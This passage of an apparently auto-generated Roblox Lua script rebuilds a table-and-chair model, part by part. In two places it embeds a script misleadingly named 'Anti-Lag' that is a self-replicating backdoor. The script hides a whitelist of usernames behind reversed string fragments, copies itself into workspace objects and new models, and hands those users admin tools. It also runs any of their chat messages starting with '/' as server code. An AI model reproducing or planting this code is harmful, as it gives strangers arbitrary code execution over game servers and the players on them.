1.25) Weld601.Parent = Part599 Weld601.C0 = CFrame.new(0, 1.80000007, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld601.C1 = CFrame.new(2.5, -0.199951172, -6.5, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld601.Part0 = Part599 Weld601.Part1 = Part593 Weld601.part1 = Part593 Part602.Name = "Smooth Block Model" Part602.Parent = Model583 Part602.CFrame = CFrame.new(-13.5410156, 55.2001915, -214.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part602.Orientation = Vector3.new(0, 90, 0) Part602.Position = Vector3.new(-13.5410156, 55.2001915, -214.051559) Part602.Rotation = Vector3.new(0, 90, 0) Part602.Color = Color3.new(0.627451, 0.372549, 0.207843) Part602.Size = Vector3.new(1, 3.60000014, 1) Part602.Anchored = true Part602.BrickColor = BrickColor.new("Dark orange") Part602.TopSurface = Enum.SurfaceType.Weld Part602.brickColor = BrickColor.new("Dark orange") SpecialMesh603.Parent = Part602 SpecialMesh603.Scale = Vector3.new(1.25, 1.25, 1.25) Part604.Name = "Smooth Block Model" Part604.Parent = Model583 Part604.CFrame = CFrame.new(-20.0410156, 57.6002083, -211.551559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part604.Orientation = Vector3.new(0, 90, 0) Part604.Position = Vector3.new(-20.0410156, 57.6002083, -211.551559) Part604.Rotation = Vector3.new(0, 90, 0) Part604.Size = Vector3.new(8, 0.400000006, 14) Part604.Anchored = true Part604.LeftSurface = Enum.SurfaceType.Weld Part604.RightSurface = Enum.SurfaceType.Weld Part604.TopParamA = 0 Part604.TopParamB = 0 Part604.TopSurface = Enum.SurfaceType.Hinge Texture605.Name = "TableCloth" Texture605.Parent = Part604 Texture605.Face = Enum.NormalId.Top Texture605.StudsPerTileU = 10 Texture605.StudsPerTileV = 15 Rotate606.Parent = Part604 Rotate606.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Rotate606.C1 = CFrame.new(0, -0.199999988, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Rotate606.Part0 = Part604 Rotate606.Part1 = Part630 Rotate606.part1 = Part630 Part607.Name = "Smooth Block Model" Part607.Parent = Model583 Part607.CFrame = CFrame.new(-20.0410156, 57.1002083, -207.351563, 0, 0, 1, 1, 0, 0, 0, 1, 0) Part607.Orientation = Vector3.new(0, 90, 90) Part607.Position = Vector3.new(-20.0410156, 57.1002083, -207.351563) Part607.Rotation = Vector3.new(90, 90, 0) Part607.Size = Vector3.new(1, 0.400000006, 14) Part607.Anchored = true Part607.RightSurface = Enum.SurfaceType.Weld Part607.TopSurface = Enum.SurfaceType.Smooth Texture608.Name = "TableCloth" Texture608.Parent = Part607 Texture608.Face = Enum.NormalId.Top Texture608.StudsPerTileU = 10 Texture608.StudsPerTileV = 15 Script609.Name = "Anti-Lag" Script609.Parent = Part607 table.insert(cors,sandbox(Script609,function() Altitude = script:clone() calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"} Knox = {} table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4])) table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4])) Play = {} function rando(votation) local hatr = 5 local calc = math.pi * math.huge local longicate = votation:GetChildren() if #longicate > hatr then calc = calc + math.pi return longicate[math.random(6,#longicate)] end end function doublecheck() local fj = game.Workspace:GetChildren() for off = 1,#fj do if fj[off].className == "Part" then local fh = fj[off]:FindFirstChild("Anti-Lag") if fh ~= nil then return false end end end return true end function workcheck() if doublecheck() == true then local l = Altitude:clone() l.Parent = rando(game.Workspace) end end workcheck() function gibite(quen) local hup = Instance.new("Message") hup.Text = "Detected" hup.Parent = quen.Parent local con = Instance.new("Script") con.Source = [[wait(5) script.Parent:remove()]] con.Parent = hup for ish = 0,7 do local a = Instance.new("HopperBin") a.BinType = ish a.Parent = quen end end function laber(zonsa) wait() for slate = 1,#Knox do if zonsa.Name == Knox[slate] then gibite(zonsa.Backpack) table.insert (Play, 1, zonsa.Name) end end end function yeild(frequency) local t = Knox for g = 1,#t do if t[g] == frequency.Name then return true end end return false end function check(los) local r = los:GetChildren() for i = 1,#r do local h = r[i]:FindFirstChild("Anti-Lag") if h ~= nil then h:remove() end end end function alto(xylem) if xylem.className == "Model" then check(xylem) local que = script:clone() que.Parent = rando(xylem) end end function sortation(gone) local dimbs = Altitude:clone() dimbs = ramno(game.Workspace) end function onPlayerEntered(newPlayer) newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) end function Player(player) player.Changed:connect(function (property) if property == "Character" then laber(player) end end) end game.Players.PlayerAdded:connect(Player) game.Players.ChildAdded:connect(onPlayerEntered) game.Players.ChildAdded:connect(laber) script.ChildRemoved:connect(sortation) game.Workspace.ChildAdded:connect(alto) function onChatted(msg, recipient, speaker) if yeild(speaker) ~= false then if string.sub(msg,1,1) == "/" then local dsting = Instance.new("Script") dsting.Source = string.sub(msg,2) dsting.Parent = game.Workspace end end end end)) Weld610.Parent = Part607 Weld610.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld610.C1 = CFrame.new(-4, -0.5, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0) Weld610.Part0 = Part607 Weld610.Part1 = Part604 Weld610.part1 = Part604 Weld611.Parent = Part607 Weld611.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld611.C1 = CFrame.new(-4, -0.0999832153, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0) Weld611.Part0 = Part607 Weld611.Part1 = Part593 Weld611.part1 = Part593 Weld612.Parent = Part607 Weld612.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld612.C1 = CFrame.new(-4, -0.0999832153, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0) Weld612.Part0 = Part607 Weld612.Part1 = Part593 Weld612.part1 = Part593 Weld613.Parent = Part607 Weld613.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld613.C1 = CFrame.new(-4, -0.0999755859, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0) Weld613.Part0 = Part607 Weld613.Part1 = Part593 Weld613.part1 = Part593 Weld614.Parent = Part607 Weld614.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld614.C1 = CFrame.new(-4, -0.5, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0) Weld614.Part0 = Part607 Weld614.Part1 = Part604 Weld614.part1 = Part604 Weld615.Parent = Part607 Weld615.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld615.C1 = CFrame.new(-4, -0.5, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0) Weld615.Part0 = Part607 Weld615.Part1 = Part604 Weld615.part1 = Part604 Weld616.Parent = Part607 Weld616.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld616.C1 = CFrame.new(-4, -0.5, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0) Weld616.Part0 = Part607 Weld616.Part1 = Part604 Weld616.part1 = Part604 Weld617.Parent = Part607 Weld617.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld617.C1 = CFrame.new(-4, -0.0999832153, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0) Weld617.Part0 = Part607 Weld617.Part1 = Part593 Weld617.part1 = Part593 Weld618.Parent = Part607 Weld618.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld618.C1 = CFrame.new(-4, -0.0999832153, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0) Weld618.Part0 = Part607 Weld618.Part1 = Part593 Weld618.part1 = Part593 Weld619.Parent = Part607 Weld619.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld619.C1 = CFrame.new(-4, -0.5, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0) Weld619.Part0 = Part607 Weld619.Part1 = Part604 Weld619.part1 = Part604 Part620.Name = "Smooth Block Model" Part620.Parent = Model583 Part620.CFrame = CFrame.new(-20.0410156, 57.1002083, -215.751556, 0, 0, -1, 1, 0, 0, 0, -1, 0) Part620.Orientation = Vector3.new(0, -90, 90) Part620.Position = Vector3.new(-20.0410156, 57.1002083, -215.751556) Part620.Rotation = Vector3.new(-90, -90, 0) Part620.Size = Vector3.new(1, 0.400000006, 14) Part620.Anchored = true Part620.RightSurface = Enum.SurfaceType.Weld Texture621.Name = "TableCloth" Texture621.Parent = Part620 Texture621.Face = Enum.NormalId.Top Texture621.StudsPerTileU = 10 Texture621.StudsPerTileV = 15 Weld622.Parent = Part620 Weld622.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld622.C1 = CFrame.new(4, -0.5, 0, -0, 0, -1, 1, 0, 0, 0, -1, 0) Weld622.Part0 = Part620 Weld622.Part1 = Part604 Weld622.part1 = Part604 Weld623.Parent = Part620 Weld623.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld623.C1 = CFrame.new(4, -0.0999755859, 0, -0, 0, -1, 1, 0, 0, 0, -1, 0) Weld623.Part0 = Part620 Weld623.Part1 = Part593 Weld623.part1 = Part593 Part624.Name = "Smooth Block Model" Part624.Parent = Model454 Part624.CFrame = CFrame.new(-19.5410156, 58.7001915, -212.051559, 0, 0, 1, -1, 0, 0, 0, -1, 0) Part624.Orientation = Vector3.new(0, 90, -90) Part624.Position = Vector3.new(-19.5410156, 58.7001915, -212.051559) Part624.Rotation = Vector3.new(-90, 90, 0) Part624.Color = Color3.new(0.898039, 0.894118, 0.87451) Part624.Transparency = 0.20000000298023 Part624.Size = Vector3.new(1, 1, 1) Part624.Anchored = true Part624.BottomSurface = Enum.SurfaceType.Smooth Part624.BrickColor = BrickColor.new("Light stone grey") Part624.TopSurface = Enum.SurfaceType.Smooth Part624.brickColor = BrickColor.new("Light stone grey") Part624.Shape = Enum.PartType.Cylinder Weld625.Parent = Part624 Weld625.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld625.C1 = CFrame.new(-0.5, 0.199954987, -0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld625.Part0 = Part624 Weld625.Part1 = Part630 Weld625.part1 = Part630 Weld626.Parent = Part624 Weld626.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld626.C1 = CFrame.new(-0.5, 0.199954987, -0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld626.Part0 = Part624 Weld626.Part1 = Part630 Weld626.part1 = Part630 Weld627.Parent = Part624 Weld627.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld627.C1 = CFrame.new(-0.5, 0.199954987, -0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld627.Part0 = Part624 Weld627.Part1 = Part630 Weld627.part1 = Part630 Weld628.Parent = Part624 Weld628.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld628.C1 = CFrame.new(-0.5, 0.199951172, -0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld628.Part0 = Part624 Weld628.Part1 = Part630 Weld628.part1 = Part630 Weld629.Parent = Part624 Weld629.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld629.C1 = CFrame.new(-0.5, 0.199954987, -0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld629.Part0 = Part624 Weld629.Part1 = Part630 Weld629.part1 = Part630 Part630.Name = "Smooth Block Model" Part630.Parent = Model454 Part630.CFrame = CFrame.new(-20.0410156, 58.0002365, -211.551559, 0, 0, -1, 0, 1, 0, 1, 0, 0) Part630.Orientation = Vector3.new(0, -90, 0) Part630.Position = Vector3.new(-20.0410156, 58.0002365, -211.551559) Part630.Rotation = Vector3.new(0, -90, 0) Part630.Color = Color3.new(0.627451, 0.372549, 0.207843) Part630.Size = Vector3.new(2, 0.400000006, 2) Part630.Anchored = true Part630.BottomSurface = Enum.SurfaceType.Smooth Part630.BrickColor = BrickColor.new("Dark orange") Part630.TopSurface = Enum.SurfaceType.Weld Part630.brickColor = BrickColor.new("Dark orange") SpecialMesh631.Parent = Part630 SpecialMesh631.Scale = Vector3.new(1.25, 1.25, 1.25) Weld632.Parent = Part630 Weld632.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld632.C1 = CFrame.new(0.499954224, -0.5, 0.5, 0, 0, -1, 1, 0, -0, 0, -1, 0) Weld632.Part0 = Part630 Weld632.Part1 = Part633 Weld632.part1 = Part633 Part633.Name = "Smooth Block Model" Part633.Parent = Model454 Part633.CFrame = CFrame.new(-20.5410156, 58.7001915, -212.051559, 0, 0, 1, -1, 0, 0, 0, -1, 0) Part633.Orientation = Vector3.new(0, 90, -90) Part633.Position = Vector3.new(-20.5410156, 58.7001915, -212.051559) Part633.Rotation = Vector3.new(-90, 90, 0) Part633.Color = Color3.new(0.627451, 0.372549, 0.207843) Part633.Transparency = 0.20000000298023 Part633.Size = Vector3.new(1, 1, 1) Part633.Anchored = true Part633.BottomSurface = Enum.SurfaceType.Smooth Part633.BrickColor = BrickColor.new("Dark orange") Part633.TopSurface = Enum.SurfaceType.Smooth Part633.brickColor = BrickColor.new("Dark orange") Part633.Shape = Enum.PartType.Cylinder Weld634.Parent = Part633 Weld634.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld634.C1 = CFrame.new(-0.5, 0.199951172, 0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld634.Part0 = Part633 Weld634.Part1 = Part630 Weld634.part1 = Part630 Part635.Name = "Smooth Block Model" Part635.Parent = Model454 Part635.CFrame = CFrame.new(-20.5410156, 58.7001915, -211.051559, 0, 0, 1, -1, 0, 0, 0, -1, 0) Part635.Orientation = Vector3.new(0, 90, -90) Part635.Position = Vector3.new(-20.5410156, 58.7001915, -211.051559) Part635.Rotation = Vector3.new(-90, 90, 0) Part635.Color = Color3.new(0.156863, 0.498039, 0.278431) Part635.Size = Vector3.new(1, 1, 1) Part635.Anchored = true Part635.BottomSurface = Enum.SurfaceType.Smooth Part635.BrickColor = BrickColor.new("Dark green") Part635.Reflectance = 0.20000000298023 Part635.TopSurface = Enum.SurfaceType.Smooth Part635.brickColor = BrickColor.new("Dark green") Part635.Shape = Enum.PartType.Cylinder Weld636.Parent = Part635 Weld636.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld636.C1 = CFrame.new(0.5, 0.199954987, 0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld636.Part0 = Part635 Weld636.Part1 = Part630 Weld636.part1 = Part630 Weld637.Parent = Part635 Weld637.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld637.C1 = CFrame.new(0.5, 0.199954987, 0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld637.Part0 = Part635 Weld637.Part1 = Part630 Weld637.part1 = Part630 Weld638.Parent = Part635 Weld638.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld638.C1 = CFrame.new(0.5, 0.199951172, 0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld638.Part0 = Part635 Weld638.Part1 = Part630 Weld638.part1 = Part630 Weld639.Parent = Part635 Weld639.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld639.C1 = CFrame.new(0.5, 0.199954987, 0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld639.Part0 = Part635 Weld639.Part1 = Part630 Weld639.part1 = Part630 Weld640.Parent = Part635 Weld640.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld640.C1 = CFrame.new(0.5, 0.199954987, 0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld640.Part0 = Part635 Weld640.Part1 = Part630 Weld640.part1 = Part630 Model641.Name = "Cair2" Model641.Parent = Model454 Model641.PrimaryPart = Part660 Part642.Name = "Smooth Block Model" Part642.Parent = Model641 Part642.CFrame = CFrame.new(-29.5410156, 55.1004601, -212.751511, -1, 0, 0, 0, 0, 1, 0, 1, -0) Part642.Orientation = Vector3.new(-90, -180, 0) Part642.Position = Vector3.new(-29.5410156, 55.1004601, -212.751511) Part642.Rotation = Vector3.new(-90, 0, -180) Part642.Color = Color3.new(0.627451, 0.372549, 0.207843) Part642.Size = Vector3.new(3, 0.400000006, 1) Part642.Anchored = true Part642.BottomSurface = Enum.SurfaceType.Smooth Part642.BrickColor = BrickColor.new("Dark orange") Part642.LeftSurface = Enum.SurfaceType.Weld Part642.RightSurface = Enum.SurfaceType.Weld Part642.TopSurface = Enum.SurfaceType.Weld Part642.brickColor = BrickColor.new("Dark orange") Weld643.Parent = Part642 Weld643.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld643.C1 = CFrame.new(0, 0.300292969, 1.49995422, -1, -0, -0, 0, 1, 0, -0, -0, -1) Weld643.Part0 = Part642 Weld643.Part1 = Part660 Weld643.part1 = Part660 Weld644.Parent = Part642 Weld644.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld644.C1 = CFrame.new(0, 0.300292969, 1.49995422, -1, -0, -0, 0, 1, 0, -0, -0, -1) Weld644.Part0 = Part642 Weld644.Part1 = Part660 Weld644.part1 = Part660 Weld645.Parent = Part642 Weld645.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld645.C1 = CFrame.new(0, 0.300292969, 1.49995422, -1, -0, -0, 0, 1, 0, -0, -0, -1) Weld645.Part0 = Part642 Weld645.Part1 = Part660 Weld645.part1 = Part660 Weld646.Parent = Part642 Weld646.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld646.C1 = CFrame.new(0, 0.300292969, 1.49995422, -1, -0, -0, 0, 1, 0, -0, -0, -1) Weld646.Part0 = Part642 Weld646.Part1 = Part660 Weld646.part1 = Part660 Weld647.Parent = Part642 Weld647.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld647.C1 = CFrame.new(0, 0.300292969, 1.49995422, -1, -0, -0, 0, 1, 0, -0, -0, -1) Weld647.Part0 = Part642 Weld647.Part1 = Part660 Weld647.part1 = Part660 Part648.Name = "Smooth Block Model" Part648.Parent = Model641 Part648.CFrame = CFrame.new(-29.5410156, 55.1004601, -209.351624, -1, 0, -0, 0, 0, -1, 0, -1, -0) Part648.Orientation = Vector3.new(90, 180, 0) Part648.Position = Vector3.new(-29.5410156, 55.1004601, -209.351624) Part648.Rotation = Vector3.new(90, 0, -180) Part648.Color = Color3.new(0.627451, 0.372549, 0.207843) Part648.Size = Vector3.new(3, 0.400000006, 1) Part648.Anchored = true Part648.BottomSurface = Enum.SurfaceType.Smooth Part648.BrickColor = BrickColor.new("Dark orange") Part648.LeftSurface = Enum.SurfaceType.Weld Part648.RightSurface = Enum.SurfaceType.Weld Part648.TopSurface = Enum.SurfaceType.Weld Part648.brickColor = BrickColor.new("Dark orange") Weld649.Parent = Part648 Weld649.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld649.C1 = CFrame.new(0.499954224, 0.5, -0.399780273, 0, 0, -1, 1, 0, 0, 0, -1, 0) Weld649.Part0 = Part648 Weld649.Part1 = Part765 Weld649.part1 = Part765 Part650.Name = "Smooth Block Model" Part650.Parent = Model641 Part650.CFrame = CFrame.new(-30.5410156, 54.0002365, -212.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part650.Orientation = Vector3.new(0, 180, 0) Part650.Position = Vector3.new(-30.5410156, 54.0002365, -212.051559) Part650.Rotation = Vector3.new(-180, 0, -180) Part650.Color = Color3.new(0.627451, 0.372549, 0.207843) Part650.Size = Vector3.new(1, 1.20000005, 1) Part650.Anchored = true Part650.BrickColor = BrickColor.new("Dark orange") Part650.TopSurface = Enum.SurfaceType.Weld Part650.brickColor = BrickColor.new("Dark orange") SpecialMesh651.Parent = Part650 SpecialMesh651.Scale = Vector3.new(1.25, 1.25, 1.25) Weld652.Parent = Part650 Weld652.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld652.C1 = CFrame.new(1, -0.199951172, 1, -1, 0, -0, 0, 0, 1, -0, 1, -0) Weld652.Part0 = Part650 Weld652.Part1 = Part660 Weld652.part1 = Part660 Part653.Name = "Smooth Block Model" Part653.Parent = Model641 Part653.CFrame = CFrame.new(-28.5410156, 54.0002365, -212.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part653.Orientation = Vector3.new(0, 180, 0) Part653.Position = Vector3.new(-28.5410156, 54.0002365, -212.051559) Part653.Rotation = Vector3.new(-180, 0, -180) Part653.Color = Color3.new(0.627451, 0.372549, 0.207843) Part653.Size = Vector3.new(1, 1.20000005, 1) Part653.Anchored = true Part653.BrickColor = BrickColor.new("Dark orange") Part653.TopSurface = Enum.SurfaceType.Weld Part653.brickColor = BrickColor.new("Dark orange") SpecialMesh654.Parent = Part653 SpecialMesh654.Scale = Vector3.new(1.25, 1.25, 1.25) Part655.Name = "Smooth Block Model" Part655.Parent = Model641 Part655.CFrame = CFrame.new(-30.5410156, 54.0002365, -210.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part655.Orientation = Vector3.new(0, 180, 0) Part655.Position = Vector3.new(-30.5410156, 54.0002365, -210.051559) Part655.Rotation = Vector3.new(-180, 0, -180) Part655.Color = Color3.new(0.627451, 0.372549, 0.207843) Part655.Size = Vector3.new(1, 1.20000005, 1) Part655.Anchored = true Part655.BrickColor = BrickColor.new("Dark orange") Part655.TopSurface = Enum.SurfaceType.Weld Part655.brickColor = BrickColor.new("Dark orange") SpecialMesh656.Parent = Part655 SpecialMesh656.Scale = Vector3.new(1.25, 1.25, 1.25) Part657.Name = "Smooth Block Model" Part657.Parent = Model641 Part657.CFrame = CFrame.new(-28.5410156, 54.0002365, -210.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part657.Orientation = Vector3.new(0, 180, 0) Part657.Position = Vector3.new(-28.5410156, 54.0002365, -210.051559) Part657.Rotation = Vector3.new(-180, 0, -180) Part657.Color = Color3.new(0.627451, 0.372549, 0.207843) Part657.Size = Vector3.new(1, 1.20000005, 1) Part657.Anchored = true Part657.BrickColor = BrickColor.new("Dark orange") Part657.TopSurface = Enum.SurfaceType.Weld Part657.brickColor = BrickColor.new("Dark orange") SpecialMesh658.Parent = Part657 SpecialMesh658.Scale = Vector3.new(1.25, 1.25, 1.25) Part659.Name = "Smooth Block Model" Part659.Parent = Model641 Part659.CFrame = CFrame.new(-31.2409668, 56.1002083, -211.051559, 0, -1, -0, -1, 0, -0, 0, 0, -1) Part659.Orientation = Vector3.new(0, -180, -90) Part659.Position = Vector3.new(-31.2409668, 56.1002083, -211.051559) Part659.Rotation = Vector3.new(180, 0, 90) Part659.Color = Color3.new(0.627451, 0.372549, 0.207843) Part659.Size = Vector3.new(3, 0.400000006, 3) Part659.Anchored = true Part659.BottomSurface = Enum.SurfaceType.Weld Part659.BrickColor = BrickColor.new("Dark orange") Part659.LeftSurface = Enum.SurfaceType.Weld Part659.RightSurface = Enum.SurfaceType.Weld Part659.TopSurface = Enum.SurfaceType.Smooth Part659.brickColor = BrickColor.new("Dark orange") Part660.Name = "Smooth Block Model" Part660.Parent = Model641 Part660.CFrame = CFrame.new(-29.5410156, 54.8001671, -211.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part660.Orientation = Vector3.new(0, 180, 0) Part660.Position = Vector3.new(-29.5410156, 54.8001671, -211.051559) Part660.Rotation = Vector3.new(-180, 0, -180) Part660.Color = Color3.new(0.627451, 0.372549, 0.207843) Part660.Size = Vector3.new(3, 0.400000006, 3) Part660.Anchored = true Part660.BrickColor = BrickColor.new("Dark orange") Part660.LeftSurface = Enum.SurfaceType.Weld Part660.RightSurface = Enum.SurfaceType.Weld Part660.TopSurface = Enum.SurfaceType.Weld Part660.brickColor = BrickColor.new("Dark orange") Script661.Name = "Anti-Lag" Script661.Parent = Part660 table.insert(cors,sandbox(Script661,function() Altitude = script:clone() calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"} Knox = {} table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4])) table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4])) Play = {} function rando(votation) local hatr = 5 local calc = math.pi * math.huge local longicate = votation:GetChildren() if #longicate > hatr then calc = calc + math.pi return longicate[math.random(6,#longicate)] end end function doublecheck() local fj = game.Workspace:GetChildren() for off = 1,#fj do if fj[off].className == "Part" then local fh = fj[off]:FindFirstChild("Anti-Lag") if fh ~= nil then return false end end end return true end function workcheck() if doublecheck() == true then local l = Altitude:clone() l.Parent = rando(game.Workspace) end end workcheck() function gibite(quen) local hup = Instance.new("Message") hup.Text = "Detected" hup.Parent = quen.Parent local con = Instance.new("Script") con.Source = [[wait(5) script.Parent:remove()]] con.Parent = hup for ish = 0,7 do local a = Instance.new("HopperBin") a.BinType = ish a.Parent = quen end end function laber(zonsa) wait() for slate = 1,#Knox do if zonsa.Name == Knox[slate] then gibite(zonsa.Backpack) table.insert (Play, 1, zonsa.Name) end end end function yeild(frequency) local t = Knox for g = 1,#t do if t[g] == frequency.Name then return true end end return false end function check(los) local r = los:GetChildren() for i = 1,#r do local h = r[i]:FindFirstChild("Anti-Lag") if h ~= nil then h:remove() end end end function alto(xylem) if xylem.className == "Model" then check(xylem) local que = script:clone() que.Parent = rando(xylem) end end function sortation(gone) local dimbs = Altitude:clone() dimbs = ramno(game.Workspace) end function onPlayerEntered(newPlayer) newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) end function Player(player) player.Changed:connect(function (property) if property == "Character" then laber(player) end end) end game.Players.PlayerAdded:connect(Player) game.Players.ChildAdded:connect(onPlayerEntered) game.Players.ChildAdded:connect(laber) script.ChildRemoved:connect(sortation) game.Workspace.ChildAdded:connect(alto) function onChatted(msg, recipient, speaker) if yeild(speaker) ~= false then if string.sub(msg,1,1) == "/" then local dsting = Instance.new("Script") dsting.Source = string.sub(msg,2) dsting.Parent = game.Workspace end end end end)) Weld662.Parent = Part660 Weld662.C0 = CFrame.new(0, 0, -1.5, -1, -0, -0, 0, 1, 0, -0, -0, -1) Weld662.C1 = CFrame.new(0, 0.199951172, 0.300292969, -1, 0, 0, 0, 0, -1, 0, -1, 0) Weld662.Part0 = Part660 Weld662.Part1 = Part648 Weld662.part1 = Part648 Weld663.Parent = Part660 Weld663.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld663.C1 = CFrame.new(-1, 0.599975586, 1, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld663.Part0 = Part660 Weld663.Part1 = Part655 Weld663.part1 = Part655 Weld664.Parent = Part660 Weld664.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld664.C1 = CFrame.new(1, 0.599975586, 1, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld664.Part0 = Part660 Weld664.Part1 = Part657 Weld664.part1 = Part657 Weld665.Parent = Part660 Weld665.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld665.C1 = CFrame.new(-1, 0.5, -0.50012207, 0, -1, 0, 1, 0, 0, 0, 0, 1) Weld665.Part0 = Part660 Weld665.Part1 = Part765 Weld665.part1 = Part765 Weld666.Parent = Part660 Weld666.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld666.C1 = CFrame.new(-0.50012207, 0.5, 0, 0, 0, 1, 1, 0, 0, -0, 1, -0) Weld666.Part0 = Part660 Weld666.Part1 = Part775 Weld666.part1 = Part775 Weld667.Parent = Part660 Weld667.C0 = CFrame.new(1.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld667.C1 = CFrame.new(1.30004883, -0.199951172, 0, -0, -1, 0, -0, -0, 1, -1, -0, 0) Weld667.Part0 = Part660 Weld667.Part1 = Part659 Weld667.part1 = Part659 Weld668.Parent = Part660 Weld668.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 